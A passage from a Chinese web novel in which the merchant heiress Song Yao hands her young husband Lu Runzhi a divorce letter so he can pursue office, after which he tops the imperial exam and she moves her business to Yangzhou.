宋瑶叹了一口气,第一次没有回答他的问题,起身从抽屉里拿出了信封,递给他,眉眼是温柔包容的笑意,“这是我送给你的礼物。” 陆润之愣愣地问:“这是什么?” 宋瑶将信纸放到他面前,指了指,道:“你打开看看便知。” 陆润之实在想不出是什么,依照她说的,打开信封,里面是折得整整齐齐的宣纸,他展开一看,瞳孔猛地收缩,捏着信纸的手像是被烙铁烫到了一般,猛地一抖,信纸飘落在地上。 宣纸右侧赫然写着:放夫书 陆润之的大脑一瞬间空白,手不住地颤抖,一瞬间就像是从天堂掉落地狱,摔得粉身碎骨。 他不明白为什么。 只觉得没有谁比她更残忍。 一瞬间,陆润之空白的大脑只剩下唯一的念头,眼 前模糊得看不清宣纸上的字,却不知为何依旧被刺得双眼发痛。 他声线抖得像是被冻僵了般,终于问出了那个心里愈发清晰却不敢细想的疑惑。 “宋瑶,你到底,爱不爱我?” 60-70 第61章 《放夫书》 “盖闻妻夫之缘,恩深义重。” “若结缘不合,比是怨家,故来相对。” “妻则一言数口,夫则反目生嫌。既以二心不同,难归一意,快会及诸亲,各还本道。” “愿夫相离之后,鸿鹄高飞,一举千里,羽翮已就,横绝四海,致君尧舜上,再使风俗淳。” “至此。” “一别两宽,各生欢喜。” 他从来都不知道,她从不爱读书,写出来的文字却字字珠玑,远远比她说出口的话语更锋利。 什么叫做“结缘不合,比是冤家”? 什么叫做“二心不同,难归一意”? 她在说什么? 陆润之觉得自己前一刻如履平地,下一刻脚下的路却忽然消失,脚下猛地踩空,猝不及防坠入万丈深渊,心跳似乎都要停止了。 是了,他从来都看不懂她。 她似乎永远都是带笑的,温和的,包容的,从不与他生气。 她爱护他,支持他,照顾他,却从不要求他什么。 陆润之没有感情经历,却隐隐觉得,喜欢一个人不是这样的,他希望她有空的时候陪着自己,希望她离别的男子远一点,想时时刻刻与她亲近。 她也会有粘着自己,也会主动与别的男子拉开距离。 但是她从不吃味,即使刚才听到他与司马怀瑾有往来,神色还是一如既往的温和包容,一点也不担心。 而且,除了新婚那晚,她从来不碰他。 她在他面前永远都是冷静自持,宽容温柔的,他不懂她在想什么,不懂她想要什么。 甚至不知道她为什么,不要他了。 她真的喜欢他吗? 陆润之低垂着头,握紧拳头,仿佛在抑制自己的情绪,但是依旧不住地浑身轻轻颤抖。 宋瑶看了他一眼,他垂着眼眸,睫毛都被打湿了,像湿掉的黑色羽翼,大颗大颗的泪珠一颗一颗地从眼眶滚落,他哭得悄无声息,却要碎掉了。 宋瑶叹了一口气,把掉落地上的放夫书捡起来。 她自是喜欢他的,正因如此,才放他走。 他只是十几岁的少年,在感情方面,一片空白,打个比方,现在就像是他拿到了梦寐以求的清北录取通知书,却选择回去结婚生子,当家庭煮夫。 她自有很多种办法,可以让他心甘情愿地留在身边,只是她不想看到他折断羽翼,被困在后院,心中永远都有遗憾。 她希望他勇敢地走出去,在擅长的领域闪闪发光。 感情是一时荷尔蒙作祟,不值什么。 既不能两全,那便分开。 宋瑶将放夫书放在桌上,掏出手帕,给他擦了擦眼泪,谁知越擦他的眼泪掉得越凶。 陆润之挥开她的手,抬起眼睛,声音哽咽,咬了咬下唇,固执地问道:“你还没问答我的问题。” 那双盛满眼泪的双眸轻轻颤动,像是忽然被抛弃的小奶猫,在汹涌的车流中彷徨无助,迷茫无措。 宋瑶摇了摇头,“这不重要。” “这很重要。”他看着她,一颗眼泪又掉了下来,砸在了宋瑶的手背上。 宋瑶看向自己的手背,无奈地叹了口气,只有小孩子才会纠结这个问题,她便回答了他,“自是喜欢的。”不然她又不是慈善家。 听到她的回答,陆润之愣了一下,接着灰暗的眼睛浮现点点的光,像是溺水等待死亡的人又被她拉回岸边。 “那你……是生我的气了吗?”他仿佛看到了希望,眼中浮现希冀,整个人重新鲜活了起来,忽然如此,他说话都有些紧张结巴,“我不是故意骗你的……新帝确实任我中书令之职,我已经拒绝了,便觉得没有必要与你说,我以后……与她们再也没有任何牵连,不会有人打扰我们的……我虽然不会打理家业,但是我可以学,现在已经会看账本了……你知道我很聪明,很快就可以学会的……” 忽地,他灵光一闪,想起来什么,攥着她的袖子,声音哽咽,“姐姐,你不要生我气了……你答应过我的……” 看着他患得患失,眼里含着泪水,却不断想证明自己的模样,宋瑶忽然心中一疼,将他揽入怀中,叹了一口气。 她不想看到他如此模样,她希望他永远自信,永远做尊贵的小公子。 “子澈,你不必如此。” “你知道,我并没有生气。” 陆润之在她怀中,双手紧紧抓住她的衣服,嚎啕大哭,“那你为什么……为什么不要我了?宋瑶……” 宋瑶揽住他,温柔地抚摸着他的头发,没再说话,任由他发泄情绪。 他从未哭得如此凶过,仿佛要把这阵子所有积压在心里的恐惧和委屈全都哭出来,这些日子,殚精竭虑,担惊受怕,母亲离开,现在连她也不要他了,他就像是被抛弃的幼崽,无所适从。 不知过了多久,他终于不哭了,拿起她的袖子擦了擦眼泪。 宋瑶被他的动作弄得哭笑不得。 擦干了眼泪,他的眼睛肿得跟核桃似的,声音也有些嘶哑,但是依旧固执地问她要个答案,“为什么赶我走?” 他真的很勇敢,方才以后他会在她怀里哭睡过去,进而逃避问题。 宋瑶笑了笑,“我没有赶你走。” 陆润之红红的眼睛瞪着她,控诉她,“你就是。” 他这样颇有种破罐子破摔的感觉。 “好吧,你说是就是。”宋瑶无奈道。 陆润之捏了捏她的手。 宋瑶看着他,认真道:“我想你去做你想做的事。” 陆润之摇了摇头,说道:“我现在想做的事就是待在你身边,跟你一起料理宋家的家业。” 宋瑶笑,“你骗人前,眼睛会眨一下,这个习惯以后要改掉。” 陆润之迅速否认,“没有。” 宋瑶将他脸颊处的发丝别到耳后,“我自然相信你与我一起料理生意上的事情,也能做的很好,毕竟你那么聪慧。”笑了笑,“只是为什么要勉强自己去做不擅长也不喜欢的事情呢,分明有更好的选择。” 陆润之倔强道:“这是我自己的选择。” 宋瑶缓缓道:“那你有没有想过,若你与我一起,你后面几十年的时候只能在这处院子里,朝廷的事一切都与你无关,你会在日复一日的生活中淡忘你的学识,泯灭你的抱负,我自是可以护你衣食无忧,只是你愿意过这样的日子吗?” 陆润之愣住了。 半响,他动了动嘴唇,声音都变小了,“如果我在朝为官,为什么我们不能继续在一起呢?” 宋瑶笑了笑,这种话,他连自己都说服不了。 如真可以如此,他便不必拒绝皇帝的请求了。 自古以来,官商勾结便是上面最忌讳的事情。 若他日后位列宰相,手握大权,妻主还是富可敌国的商人,皇帝岂能酣睡。财权勾结,轻则贪污受贿,重则动摇国本。即使他陆润之为官再过清廉,再有能力,一旦发生什么事,有一百张嘴也说不清,皇帝也绝对不允许这样的人在自己身边。 “子澈,这其中的利害你再清楚不过。”宋瑶道。 陆润之敛了眸,眼神黯淡。 宋瑶接着道:“即使退一万步来讲,你能平衡好这些事情,但是依照如今的情形,日后朝廷肯定会再动各大商行的利益,我既是可以做到理解,但长此以往,我也是凡人,也会心生怨怼,便会逐渐生了嫌隙,你我之间的感情也会慢慢消磨殆尽。” 她像以往一样揉了揉他的脑袋,温柔地说道:“子澈,与其日后渐行渐远,成为一对怨偶,不如我们就停在此刻,一别两宽,各生欢喜。” 陆润之怔怔地看着她,眼眶里又汇聚了泪水。 说罢,宋瑶将放夫书往他面前推了推,“或许,你回来,想要的也是我的答案。” 脚步声在他身后响起,陆润之心里忽然升起巨大的恐慌,席卷了四肢百骸。 不要。 他像是大梦初醒般,反应过来,立刻起身,准备追上去,却双腿发软,嘭地跌坐 在地上。 宋瑶脚步顿了一下,依旧头也不回地走了出去。 放夫书被流动的空气带起,飘到了地上。 一别两宽,你叫他如何欢喜。 陆润之本来以为方才自己的眼泪已经流干了,现在却又掉了下来,似乎像关不住的水闸。 也不知他在地上坐了多久,青连进来了,看到自家公子坐在地上,手边还有被泪水打湿的放夫书,大惊失色。 宋瑶,她怎么敢…… 青连走进一看,只见公子面上毫无血色,嘴唇苍白,眼神灰暗,整个人像是被抽空了力气。 “公子,你怎么了?”青连不知道公子和宋瑶发生了什么,只是从未见过公子这样,他们丞相府的小公子一向都是骄傲的,哪怕是在皇宫,也是受人尊敬的,为什么要被宋瑶如此对待。 青连将陆润之扶起来,连他都要哭出来了,他不知道怎么安慰公子。 “扶我到床边。”陆润之敛着眸,声音嘶哑。 青连于心不忍,声音哽咽,“公子……” 陆润之扯了扯嘴角,“我没事。” 青连心里一痛,依照他的话,将他扶到床边。 陆润之坐下,伏在床上,没什么生气。 青连无措地站在他身边,小心翼翼地劝道:“公子,这宋瑶不识好歹,您便把她忘了吧,这世间好女子多的是。” 陆润之像是没有听到青连的话,睁着眼睛,眼神却没有焦距。 看着他这幅模样,像是没有了求生的欲望,青连有些着急,口不择言,“若是……若是您真的喜欢她,大不了等您做了官,命令宋瑶陪在您身边就是了,不要为难自己……” 陆润之的眸光动了动,慢慢聚了焦,他将脸埋在被子里。 “你下去吧,我有些累,想休息一会儿。” 第62章 陆润之回来的消息,很快在宋府上上下下传了个遍。 他们消失多日的少家主回来了! 宋琼和李容自然也得知了此时,只不过陆润之一回来就奔着自己的院子,没出过房间,宋瑶这孩子也不知道从什么时候起,连他们做母父的都看不穿她心底到底在想什么。 成婚以后倒是把夫郎宠到了骨子里,但是年前夫郎没回来的时候,也不见她着急,如今夫郎回来了,她的神色还是如往常以往,无喜无怒。 也不知道她怎么想的。 本是妻夫别离,有什么好好说开,再浓情蜜意的时候,晚上吃饭的时候,宋瑶却来了主院蹭饭。 她面上看不出什么,宋琼和李容面面相觑。 早就听闻她们老宋家女婿飞黄腾达,成了新帝身边的红人,她们商人身份地位低微,恐是妨碍了他平步青云,莫不是今日回来,是来抛家弃妻来了? 如此倒也说得通。 这女子成婚后,好不容易**回头,有了些上进心,可不能因为受情伤了,一蹶不振,一朝回到以前混不吝的模样啊。 宋琼看着宋瑶,露出了老母亲慈爱的目光,夹了个大鸡腿放到她碗里,劝慰道:“你也不要太难过了,事情既然发展成这样,是我们与他的缘分走到了尽头,你不要太伤心了,娘亲和爹爹再给你寻一个比他还要的夫郎就是了。” 话落,胳膊被李容掐了一下。 李容瞪了她一眼,真是哪壶不开提哪壶。 宋瑶瞧着自家老母亲和老爹爹的小动作,哭笑不得,“娘亲,你在说什么啊?” 宋琼看了一眼李容,直接问出了心里的疑惑,“难道不是润之不要你了吗?” 宋瑶闭口不谈,“别乱猜了,快吃饭吧,我没事。” 李容犹豫了半响,掏出了一包银子,“阿瑶啊,有什么事别憋在心里,一定要去发泄出来。” 宋瑶无奈道:“娘亲,爹爹,你们不用担心,我真的没事。” 李容:“那你和润之……” 宋瑶捏着筷子的手一顿,“我与他,应该就到此为止了,他有他的路要走。” 沉默半响。 宋琼也掏出了一包银子,与自家夫郎的那一袋一起,推到了宋瑶手边。 宋瑶哭笑不得。 吃过晚饭,宋瑶也没回自己的院子,宿在了主院。 陆润之坐在床上,等到了半夜,也没等到她回来,扯了扯嘴角。 她倒是狠心。 看似多情,实际上最为无情。 陆润之这时已经冷静了下来,只是脑袋里木木的,整个人都有些麻木,肚子是饿了,但是吃不下东西,很困,闭着眼睛也睡不着。 怎么都想不明白,明明他都选择了她,为什么她还是非要赶他走。 他就这样抱着被子,呆坐到了天亮,倒是也想明白了一些事情,一些不得不承认的残酷现实。 宋瑶喜欢他吗? 肯定是喜欢的。 她的喜欢太过浅表,她喜爱他的模样,就像是喜欢漂亮的宝物,但是这样的宝物对她来说是可有可无的,有则对她的生活锦上添花,无则不甚在意。 所以她不愿意为他的选择负责,而是将他往外推。 她口口声声为了他好,恐怕只是因为不够喜欢他罢了。 怎么会有人连分开都做得如此漂亮,叫人讨厌不起他来,如果她宋瑶从外面带回来了侍君回来,他便二话不说离开宋府。 偏偏选择了这种方式。 温柔又无情。 他不甘心,自然可以像青连所说的,日后将她绑在自己身边,但是他怎么忍心这么对她,他也可以摇头乞怜,乞求她的恋爱,使一些手段逼迫她为他负责任,但是他的自尊心不允许他这么做,如此做,也只会将她推得更远。 陆润之咬了咬唇。 忽然明白,她的确是不喜欢他的。 他不懂她,无法做到与她共鸣,明明她比他还要小了一岁,但是思想却比他成熟很多,就像是经历过大风大浪,最终归于平静的大海,可以包容一切,宠辱不惊。 她好像,把他当做了小孩子。 在这段感情中,她一直处于上位者的角度,俯瞰着他,从未以夫郎的身份正视过他,他从未走进她的心里,所以她才始终这么平静。 …… 翌日,陆润之简单收拾了东西,带着青连,回了丞相府。 据看到的下人说,陆大人走时,脚下生风,毫不留恋,头也没有回。 唉。 他们可怜的少家主,就这么被抛弃了。 恐怕要成为全京城女人的笑柄了。 宋瑶得知他走后,才回到了别院。 卧房内空落落的,炭火已经熄灭了,窗户开着,有些冷,地面放了个铜盆,盆里是燃烧殆尽的宣纸,还保持原来的形状,未烧完的一角,可以看得出是“放夫”二字。 他把她给的放夫书烧了。 桌面压着张合上的宣纸。 宋瑶打开一看,愣了一下,失笑。 倒是符合他的性子。 第63章 宋家算是京城里的大户人家,百姓穿的稍微像样点的衣服布料多来自宋氏布行,说起宋氏布行,京城的百姓多是知道的,对她们家里的事情多少知道点。 也不知道是谁传出来的,街坊间都知道了,宋府那个丞相家的女婿如今飞黄腾达,与宋家少家主宋瑶和离了。 说是和离,大家默认宋瑶被抛弃了。 “早就听说新黄登基之时,身边跟着的像是那宋瑶的夫郎,如今倒是坐实了。” “那宋瑶的夫郎和离之后是要做什么,嫁给新帝当侍君吗?” “这话可不能乱说,我听闻那陆润之可是为新帝继位立了大功。” “那宋瑶虽说生得相貌堂堂,但总就是一介商人,两人这门不当户不对的,有今日这结局也不奇怪。” “这陆润之也太不守夫道了,宋瑶娶了他也是倒了八辈子的霉。” “宋瑶连个夫郎都管教不住。” …… 诸如此类的谣言,在街坊邻里传得沸沸扬扬,成为大家茶余饭后的谈资。 城中,街头杨姨馄饨铺有人谈论着此事。 宋瑶经常吃这家的馄饨,与杨姨早就混熟了,说起来 ,宋瑶也很久没来了。 杨姨叹了一口气,年前宋瑶还带着她的夫郎来这里吃馄饨,如今却物是人非了。 杨怀书听闻此事,心里忍不住高兴,忍不住问道:“娘亲,她们说都是真的吗?宋姐姐真的与她夫郎和离了吗?” 年前见到宋姐姐夫郎时,他觉得自己连给宋姐姐当个侍君都不配,如今他们和离了,他是不是有机会了?他听说宋姐姐府中连个侍君都没有,肯定是以前的夫郎太过霸道。 杨姨看着自家儿子眼中的亮光,哪能不知道他在想什么,只是那宋瑶一看就是对自己儿子没有意思,这事儿哪能强求的来呢,“的确是和离了。” 杨怀书扬起嘴角,露出一抹笑容。 杨姨叹了一口气,道:“下午你汪姐姐来找你,你快回去收拾一下吧,好好与你汪姐姐相处,不要再想着那什么宋瑶了。” 杨怀书任性道:“我不去!” 这死心眼的孩子。 杨姨看着他欢快的背影,愁上心头,这世间多的是痴男怨女。 宋府。 陆润之离开后,只带走了一些平日穿的衣物,他那些嫁妆、字画、饰品全都留在了府中。 陆丞相为官清廉,想必也没给他留下什么财务,没钱在身,做事总不方便。宋瑶便命人将他的东西全都收拾了打包,列了个清单,命人用马车送到了丞相府。 在外人看来,陆润之走的时候潇洒利落。 宋琼和李容对此却颇有微词,虽然他身份高贵,但是他们作为婆婆公公的,待他也不薄,试问哪家能这么纵着家里的儿婿的,他这一走,连个招呼都不跟他们打,想来也是没有将他们当做真正的家人。 走了也好,不走他们老宋家也不知道怎么面对他。 李容想起了什么,“我之前传给他宋家女婿的手镯,好像没有归还给我,这可是咱们老宋家的传家宝,虽不值什么,却也是身份的象征,也没见他戴过。” 宋琼宽慰他道:“许是忘了,改明儿问问宋瑶就知道,人家也不稀罕带走。” 李容:“倒也是。” 他们那日给了宋瑶银子,怕她伤心,想让她出去放松放松,然而宋瑶并未将他们的话放在心里,跟没事儿人一样,每天按时上下班,仿佛日子没什么变化。 李容害怕这孩子把事情藏在心里,把自己给憋坏了,毕竟之前宋瑶是如何将夫郎捧在心上,宋府的人都是有目共睹的,不可能没有情绪的,只是强压着罢了。 俗话说的话,忘记一段感情最好的办法就是开启一段新的感情。 李容便托了媒人寻找京城适婚的男子,碰巧这日,宋瑶休沐在家,媒人带着一堆画像找上门来,喜笑颜开的。 李容便把宋瑶叫了过来,“你瞅瞅,有没有喜欢的,这些都是京中适婚男子,模样性情都是一等一的好。” 宋瑶看着桌上铺开的画卷,哭笑不得,“爹爹,这是做什么?” 李容:“你挑挑,看上了哪个,爹爹便去给你提亲。” 宋瑶坐下,扫了一眼,笑了笑,“怎么忽然这么着急?” 李容叹了口气,“哪里是我着急,我这不是怕你闷在心里,长此以往,闷出了毛病。” 宋瑶无奈道:“爹爹,你可别瞎操心了,我真的没事,都强调过许多遍了。”顿了一下,“你瞧我好吃好喝,面色红润,哪里像为情所困的样子。” 李容瞧着她,的确也是面色红润,不似为情所困,最后确认道:“那你确定不会一蹶不振,从此断情绝爱,不再娶夫,叫我们老宋家绝后吧?” 宋瑶哭笑不得,“不会,爹爹你少看些话本。” 李容拍着桌上男子的画像,“既如此,那便来挑挑吧。” 宋瑶:“……” 自家爹爹大有一种你若不挑,便是在骗我的架势,在他逼迫的目光下,宋瑶不得不拿起画卷。 李容满意地点点头。 “这个是李家公子,年十五,性情温和,不曾识字,只读过男德,精通刺绣。” “这个是米铺的赵公子,年十六,虽模样普通了些,但是从小跟着父亲学习打理家业,娶过来后还能一起帮你打理生意。” “这个是当铺的周公子,年十四,年纪小,性子比较活泼,能跟你一起玩儿。” …… 宋瑶一一扫过画卷,听着李容的介绍,点点头,像是认真看了进去。 李容甚是欣慰,可过了一会儿,宋瑶依旧是这幅模样,眼神波澜不惊,不曾在任何男子画像停留,仿佛只是在完成任务。 李容想了想,瞬间明了,他那前女婿无论是模样还是才情,都是一等一的好,若是与他相比,可找不到夫郎了,于是便劝道:“阿瑶啊,男子无才便是德,若是像之前的那般,我们老宋家也养不熟啊。” 宋瑶愣了一下,随即明白李容指的是什么,哑然失笑,“爹爹,你放心,我没有这么想过。” 李容:“那你看了半天。” 宋瑶有些无奈,“我这不是没有看到合眼缘的。” 李容绷着脸,“你老实给我交代,是不是还忘不了他?” 宋瑶笑道:“若是养一只猫这么久也有感情,更何况是悉心照顾的人。” 看她这幅坦荡大方的模样,李容倒是放心了,他最怕的就是她矢口否认,表面风轻云淡,内心始终放不下。 宋瑶放下画卷,笑道:“爹爹,这些我都看过了,没有合眼缘的,你不要担心了,若是女儿碰到喜欢的,肯定会娶回家的。” 她的态度叫李容放下心来,也不再勉强她,又道:“前些日子,我听你母亲说,这么多年,京城的生意已经稳固,打算好好发展江南的生意,现在你也已经长大了,可愿意去江南发展?” 宋瑶的手指在桌上轻轻敲着,思索片刻,如今京城的生意确实已经形成一套体系,上次去扬州,那边的发展确实落后了些,市场潜力很大,左右她在京城也呆腻了,江南风景好,倒也是个不错的地方。 她道:“我与母亲商量商量。” 此事与宋琼商议过后,便定在三月初三前往扬州,碰巧赶上烟花三月下扬州- 丞相府。 陆润之回去后,休息了几日,皇帝的圣旨便下来了,破例提拔他为中书省中书令之职,掌诏敕、政令之立案起草。 破例提拔已是前所未有,更何况所提拔之人还是男子,男子为官,史无前例。 虽知陆润之与皇帝登基有功,但朝中官员多有不服,她们都是苦读十几载,经历过重重科考,在走到了如今的位置,他陆润之凭什么一跃成为正三品的中书令,独掌大权。 朝中官员虽不服,但不敢言。 恰逢三年一度的科举开始,皇帝为堵悠悠众口,便让陆润之与天下学子一同参加科考,若能通过殿试,便可任中书令之之职。 皇帝都这么退步了,众大臣无异议,若他陆润之能够凭借自己的本事通过殿试,也算他的本事,她们自然无话可说。 近些日子,陆润之便在为科考做准备。 收到宋瑶送回来的嫁妆跟财务时,他正在书房,青连前来禀告,他出门看到她送来的东西,有些恍惚,她把他所有物品全都送来了,甚至还给了他数不清的财务。 “她可有说什么?”他问道。 前来送东西的下人迟疑地回答:“没有。” 陆润之抿了抿唇,眼中闪过一丝失望。 随后,下人递上一摞册子,恭敬道:“陆大人,请您清点数量,看看可有少些什么,小的也好回去交差。” 陆润之挥了挥手,青连立刻上去接过册子。 他对下人道:“我收下了,你回去吧。” “是。”下人说罢便告退。 “等等——” 陆润之叫住了她,“宋瑶……最近在做什么?” 下人犹豫了下,还是道:“少家主最近在 忙着生意上的事情。“只是除此之外,还在忙相亲,忙着收拾收拾去扬州,这话也不便说。 陆润之眼神一黯,挥了挥手,“我知道了。” 临走前,下人瞅了一眼陆润之的神色,都说是陆大人抛弃了少家主,可是看这状态着实不像。少家主按时上下班,每天在家吃啥啥香,面色红润,还有心情相亲,倒是陆大人瘦了不止一圈,眼神灰暗,倒像是话本里写得为伊消得人憔悴。 真是搞不懂这两人。 待宋府的下人走后,陆润之面对着众多的财物,沉默无言。 青连静静地陪在他身边,神色复杂,倒没想到宋瑶如此绝情,说断就断。这些日子,公子一日比一日沉默寡言,以前未曾出嫁前是性子冷清,如今倒是越发的冷漠,看着叫人不安。 半响,陆润之敛起了神色,“将这些东西收起来吧。” 说罢,他便往书房走去。 青连看这他格外孤寂的背影,脚步一顿,“公子……” 难道这两人就这么结束了吗?还有什么办法呢。 陆润之夜以继日的苦读,虽然那些书籍他已经倒背如流,但是他不敢让自己空闲下来,只要一空闲下来,他就忍不住想起宋瑶,想去找她。 不能去找她,否则前功尽弃。 她希望他成长,他便成长给她看- 科考的日子如约而至。 陆润之作为史上科举考场上唯一的男子,自然惹人注意,许多知道内幕的人纷纷猜测人家早已经是皇帝钦定的状元,来参加考试只是走个流程而已。 流言四起,众说纷纭,加上陆润之过于出众的样貌,成了年度科举考试中最为瞩目的话题。 新帝继位,这年的科考史无前例的严格,每个考场都查出许多五花八门想要舞弊的考生,一经查出,便取消科考资格,除此外,还查出了众多上上下下受贿的考官,堪称史上最为严格的科举考试。 经历了层层选拔,省试、殿试,三月放榜那天,陆润之的名字赫然列为榜首,他的殿试的试卷在阅卷考官间传阅,无一不惊叹,天纵奇才。 第一甲第一名:陆润之。 众大臣心服口服,不敢再轻视了这位丞相家的小公子,陆丞相一生为朝廷鞠躬尽瘁,她的儿子是继承了她的风采。 陆润之着红袍,簪花带帽,眉眼明亮,唇角压不住的笑意。 春风得意马蹄疾,一日看尽长安花。 少年春风得意,心头的喜悦遏制不住,最先想到的便是分享给他人。 陆润之纵马来到宋府。 宋府门口的侍卫看到他来,纷纷下跪,“见过陆大人。” 在他问起宋瑶时,下人道:“回陆大人,少家主搬去江南了,今日清晨刚启程。” 第64章 此次下江南,与往日的心境大有不同。 上次是着急忙慌的赶路,这次的心情倒是轻松了许多,也不着急赶路,一路优哉游哉地吃喝玩乐,慢慢悠悠地赶向了扬州城。 途中经过洛阳的时候,在一家茶楼听闻,今年的新科状元是名男子,名唤陆润之,是皇帝钦点的殿试第一名,已任中书令之职。 茶客闲聊间提到,这位新科状元陆大人可不是一般的男子,是献帝在位时陆丞相唯一儿子,曾是前太女的未婚夫,却不慎嫁一介姓宋的商人,那商人平平无奇,骄奢淫逸,好逸恶劳,但是陆大人出淤泥而不染,坚守本心,后来投靠当今,抓住机会助当今圣上登基,颇得圣上赏识,才破例提拔他任中书令。 但是陆大人气节高傲,为了堵住悠悠众口,主动参加科举考试,凭借自己的才能夺得殿试第一名,被当今圣上钦点为第一名。 据说阅过陆大人考卷的考官都称赞天纵奇才,陆大人是文曲星下凡,不输当朝女子。 关于陆大人的传奇经历,在天下传开来。 那传闻众平平无奇、好逸恶劳的商人宋某人深藏功与名。 宋瑶听到他高中状元时,内心有些感慨,有些遗憾,若是晚走一点,许是能看到他高中的场面了,也是十分不易。 这种感觉就像是你悉心照料一枝玫瑰,虽然后面将玫瑰赠与他人,但总想亲眼瞧瞧玫瑰盛开的场景- 三月的扬州,杨柳抽出了枝芽,柔柔地垂下,垂落在湖面,荡漾了一池的春意,绿草如茵,春意料峭。 来接宋瑶的依旧是孙琴,她得知少家主要来扬州发展生意,开心得不行,早早地扫榻相迎。 听说少家主和少主君和离了,孙琴又在府中准备了三个美少年,府侍宋瑶。 这次与以往不同,保不齐少家主要在这里住个几年的。 宋瑶哭笑不得,“孙姨,不必如此,将他们带下去吧。” 孙琴有些犹豫,看向宋瑶的眼神已经有些古怪,哪有女人不需要男子服侍的,若以前因为家里有个身份尊贵的少主君也就罢了,现如今身边也每个人,却还推脱,莫不是…… 同为女人,宋瑶哪里不知道她是什么意思,只是也没有解释,挥了挥手让人下去。 她暂时没有再养一个的想法,单纯是没有遇到合眼缘的,日后再说。 再次来了扬州,她相熟的好友也就只有桑卿彦一个,便邀了他去茶楼喝茶。 今日茶楼里的人不多,大堂里零零星星坐了几桌,说书先生今日未曾上班,倒是以为遮面的郎君帘后弹古琴。 这琴倒有几分韵味。 宋瑶早早地来了,听了一会儿琴声,听不懂,但觉得挺不错的。 桑卿彦姗姗来迟,依旧穿着骚气的红衣,不客气地在她对面坐下。 宋瑶笑着招呼,给他到了杯茶,“桑老板,一别几月,又见面了,别来无恙。” 桑卿彦喝了口茶,看了一眼她的神色。 宋瑶挑眉,“这么瞧着我做什么,我脸上有东西吗?” 桑卿彦问道:“你找我来做什么?” 宋瑶往后一挺,“我在扬州就认识你这一个朋友,自然是来找你叙旧,不然还能做什么?” 桑卿彦意味深长地笑道:“我还以为你被夫郎抛弃,来找我诉苦的。” 宋瑶无语,“你在说什么啊。” 桑卿彦:“难道不是吗?你那点破事儿都传的人尽皆知了,哦,不是,你在其中只是个微不足道的配角。” 宋瑶:“……” 桑老板,你的嘴巴真毒,会被打的知道吗? 桑卿彦倒是对她的事情很感兴趣,眼中带着一丝笑意,“你与我说说,到底怎么回事,是不是真如传闻中所说,你家夫郎平步青云,抛弃你这个糟糠之妻了?” 宋瑶叹了一口气,“你这么说,便是这样了。” 桑卿彦笃定,“那看来不是这样了。” 宋瑶看他。 桑卿彦嗤笑一声。 宋瑶觉得倒也没什么可以隐瞒的,桑卿彦也不是多言之刃,“只是道不同不相为谋罢,便分开了。” “道不同不相为谋。”桑卿彦细细品着这几个字,半响,叹了一口气,莫名说了一句,“女之耽兮,犹可脱也。” 那日初见陆润之,桑卿彦同为男子,明显地感受到陆润之对他的敌意,以及他眼中对浓浓的占有欲,少年容貌倾城,眼神清冷,看向宋瑶时,那眼中的清冷却化为绕指柔,满眼都是宋瑶的影子。反观宋瑶,看向夫郎的眼神却带着温柔和宠溺,却依旧清明,随时可以脱身。 桑卿彦见过许多人,知道宋瑶这种人看起来温柔多情,实际上比谁都要无情,她可以作为朋友,作为合作伙伴,若作为伴侣,恐难走进她的心里。 桑卿彦不清楚她们之间发生了什么,但总觉得陆润之的日子大概不太好过。 听到他的话,宋瑶挑眉。 桑卿彦咂摸了一会儿,眼中闪过一丝赞赏,又道:“士之耽兮,犹可脱也。我很佩服润之。” 宋瑶:他在说什么? 桑卿彦举起茶杯,“来,让我们祝贺你跟你夫郎!” 宋瑶:“……” 总觉得他跟正常人的思维不太一样。 宋瑶无奈举杯,跟他碰了一下。 桑卿彦又问道:“怎么又来了扬州,日后如何打算?” 宋瑶笑,“日后打算在江南混了,还请桑老板多多指教。” 桑卿彦勾唇,“看你的表现了。” 接着,宋瑶问了他江南市场的情况,桑卿彦一一解答,还帮她分析了宋氏布行的优势,有这么个合作伙伴就是好,不用自己费心再去调查。 琴声潺潺,引起了宋瑶的注意,便看向屏风后面。 桑卿彦顺着她的视线看去,冷笑一声。 呵。 女人。 宋瑶收回视线,看向桑卿彦。 桑卿彦皮笑肉不笑,说道:“那琴师是县令家落魄的小公子,县令因贪污被判了死刑,她的子女被贬为奴籍,县令以前于茶楼的老板有恩,茶楼老板不忍见县令的小公子沦落风尘,便收留了他,让他在这茶楼弹琴,没想到还挺受欢迎的。” 宋瑶点点头,“原来如此,怪不得琴声中多有忧愁。” 桑卿彦撇撇嘴,“想来宋老板也是这位小公子的知音了,不如替他赎个身,留在身边,左右你身边也无人惯着你了。” 宋瑶嘴角一抽,“你在阴阳怪气什么?” 桑卿彦矢口否认,“我天生说话如此。” 宋瑶狐疑地睨了他一眼。 桑卿彦心虚,却面不改色。 半响,宋瑶又叹道:“你说得倒也有理,可惜人家卖艺不卖身呢。” 桑卿彦:………… 你还可惜上了。 第65章 既已决定在江南发展,短期内不会回到京城,宋瑶便命人重新收拾了府邸,左右生意上的事情也不着急,她便亲自指导工匠,按照自己的喜好,重新装修了一遍。 亭台楼阁,交相辉映,青砖铺地,长廊蜿蜒,她又命人在花园内种了一池的莲花,放了一些锦鲤在池塘里,等到夏季的时候,便可以看到满池莲花盛开的场景,还可以摘莲子吃,美哉美哉。 府邸重新装修完成后,下人纷纷惊叹,少家主不光是天生做生意的料子,在园林设计放慢也颇有天赋。 宋瑶看着自己的杰作,十分满意,心情愉悦,便邀了桑卿彦府中一聚。 就连桑卿彦这个土生土长的江南人,都惊讶于宋瑶的设计天赋,别具一格,令人耳目一新。 “怎么样?我自己设计的。”宋瑶漂亮的眉眼在阳光明媚的很耀眼,眼中净是洋洋得意,难得流露出一丝孩子气。 平日里,她总是一副少年老成的模样,无论何时,面上总是挂着温和的笑意,待人处事仿佛戴了一层完美的面具,让人无可挑剔,一点都不像十六七岁的女子,这会儿倒是看着有些像了。 桑卿彦也不吝啬自己夸奖,“很好看。” 宋瑶眨了眨眼,“就这?” 想得到一大段彩虹屁,却只有三个字。 桑卿彦看她,面无表情,“怎么,还想叫我赋诗一首来夸你吗?” 宋瑶想了想,“可以啊,你会作诗吗?” 桑卿彦:“……不会。” 宋瑶哈哈大笑。 府邸完工,好友来聚,宋瑶心情大好,于是兴起,亲自下厨,做了几道菜,请桑卿彦和孙姨尝尝自己的手艺。 自古女子远庖厨。 桑卿彦惊讶道:“你还会做菜。” “略懂一些。”宋瑶谦逊道。 桑卿彦了然,想必是为了哄前夫郎开心,毕竟她可是会为了哄夫郎开心,大冬天去大运河边放烟花的人。 谁料她接下来道:“你们可是第一个吃到我做菜的人,下次吃就不知道什么时候,所以珍惜吧,朋友!” 